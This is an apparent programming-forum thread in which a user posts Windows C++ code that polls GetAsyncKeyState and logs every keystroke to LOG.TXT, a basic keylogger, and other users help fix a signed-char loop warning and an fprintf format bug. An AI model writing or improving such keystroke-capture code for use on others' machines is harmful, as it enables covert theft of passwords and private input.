[Warning]comparison is always true due to limited range of data type, line 14

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • Mattias

    #1

    [Warning]comparison is always true due to limited range of data type, line 14

    1 #include <iostream>
    2 using namespace std;
    3 #include <windows.h>
    4 #include <winuser.h>
    5
    6 int save(int key_stroke, char *file);
    7
    8 int main()
    9 {
    10 char i;
    11
    12 while (1)
    13 {
    14 for(i = 8; i <= 190; i++)
    15 {
    16 if (GetAsyncKeySta te(i) == -32767)
    17 Save (i, "LOG.TXT");
    18 }
    19 }
    20 system ("PAUSE");
    21 return 0;
    22 }
    23 /* *************** ********** */
    24 /* *************** ********** */
    25 int save(int key_stroke, char *file)
    26 {
    27 if ( (key_stroke == 1) || (key_stroke 28 == 2) )
    29 return 0;
    30
    31 FILE *OUTPUT_FILE;
    32 OUTPUT_FILE = fopen(file, "a+");
    33 fprintf(OUTPUT_ FILE, "%s", &key_stroke) ;
    34 fclose(OUTPUT_F ILE);
    35 cout << key_stroke << endl;
    36 return 0;
    37 }
  • ashitpro
    Recognized Expert Contributor
    • Aug 2007
    • 542

    #2
    At line 10:

    Why we are using 'char i'? can't we use 'int i' instead?

    Comment

    • newb16
      Contributor
      • Jul 2008
      • 687

      #3
      signed char is always less than 127.

      Comment

      • Oralloy
        Recognized Expert Contributor
        • Jun 2010
        • 988

        #4
        Mattias,

        newb16 has the right of it in your problem.

        If I recall correctly, the C and C++ specifications do not specify whether the char type is signed or unsigned, thus your declaration of i at line 10 (as noted by Ashitpro) is the problem. Why is because in your compiler, the char type is quietly translated to signed char.

        What you can do is to declare i as an unsigned char, or as a larger integer type, like int or long.

        Secondly, line 33 may give you problems. You are taking the address of an int and using that address in fprintf as a character pointer. You might be better off using the %c output specifier, instead. Something like:
        Code:
        fprintf(OUTPUT_FILE, "%c", key_stroke);
        My comment about line 33 is because it'll probably work on a little endian machine, but on a big endian machine, the high byte of key_stroke will be the first byte seen, and if the value is between 8 and 190, the hight byte will be zero, yielding a zero length string. Which is to say that line 33 falls into the category of "undefined behaviour" in the specs.

        Luck!

        Comment

        Working...